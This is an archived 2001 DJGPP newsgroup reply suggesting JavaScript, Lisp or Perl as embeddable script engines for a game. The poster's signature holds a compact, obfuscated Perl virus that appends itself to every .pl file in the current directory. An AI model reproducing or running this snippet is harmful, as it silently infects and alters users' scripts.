www.delorie.com/archives/browse.cgi   search  
Mail Archives: djgpp/2001/03/07/13:06:48

From: rpolzer AT web DOT de (Rudolf Polzer)
Newsgroups: comp.os.msdos.djgpp
Subject: Re: interpreting C ???
References: <3A9D5EC9 DOT CE9D100C AT t-online DOT de> <983hcu$d4p$1 AT nets3 DOT rz DOT RWTH-Aachen DOT DE> <slrn9aajjt DOT 7mh DOT rpolzer AT rebounce DOT rpolzer-lx> <98582i$dk9$1 AT nets3 DOT rz DOT RWTH-Aachen DOT DE> <3A9E76BA DOT 2143680B AT t-online DOT de>
X-newsgroup: comp.os.msdos.djgpp
X-Mailer: GehtDichNenScheissdreckAn 1.0
User-Agent: GehtDichNenScheissdreckAn 1.0
Message-ID: <slrn9acsfp.rt.rpolzer@rebounce.rpolzer-lx>
User-Agent: slrn/0.9.6.2 (Linux)
Date: Wed, 7 Mar 2001 18:38:01 +0100
Lines: 29
NNTP-Posting-Host: 213.7.24.13
X-Trace: 983988017 news.freenet.de 28848 213.7.24.13
X-Complaints-To: abuse AT freenet DOT de
To: djgpp AT delorie DOT com
DJ-Gateway: from newsgroup comp.os.msdos.djgpp
Reply-To: djgpp AT delorie DOT com

Kai Dietrich <toepferei DOT dietrich AT t-online DOT de> schrieb Folgendes:
> Hi!
> 
> > > Why a C interpreter?
> >
> > I don't know. The OP didn't provide any rationale.
> >
> > But the real question would be: if an interpreter, why one for C, of
> > all all possible languages?
> 
> I would like to introduce a skript engine into a mission based game to create
> new missions. I could implement all the missions directly to the source code,
> but this is very uncomfortable, because nobody can add new missions without
> having the source. First I thought about a new created basic like language but
> after thinking a little bit more, I came to the conclusion that it wouldn't be
> much more complicated to use the C syntax. As you can see, I don't need the
> whole ANSI C, only a few parts (functions, a few basic datatypes, if, loops,
> perhaps structs). I think I allready have the solutions to implement a (fast)
> skripting language. I'll try out.

Is there a free JavaScript engine? If not, you could try Lisp (used by
emacs) or Perl (you can statically link to it and use it, but embedding it
is not too easy).

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

- Raw text -


  webmaster     delorie software   privacy  
  Copyright © 2019   by DJ Delorie     Updated Jul 2019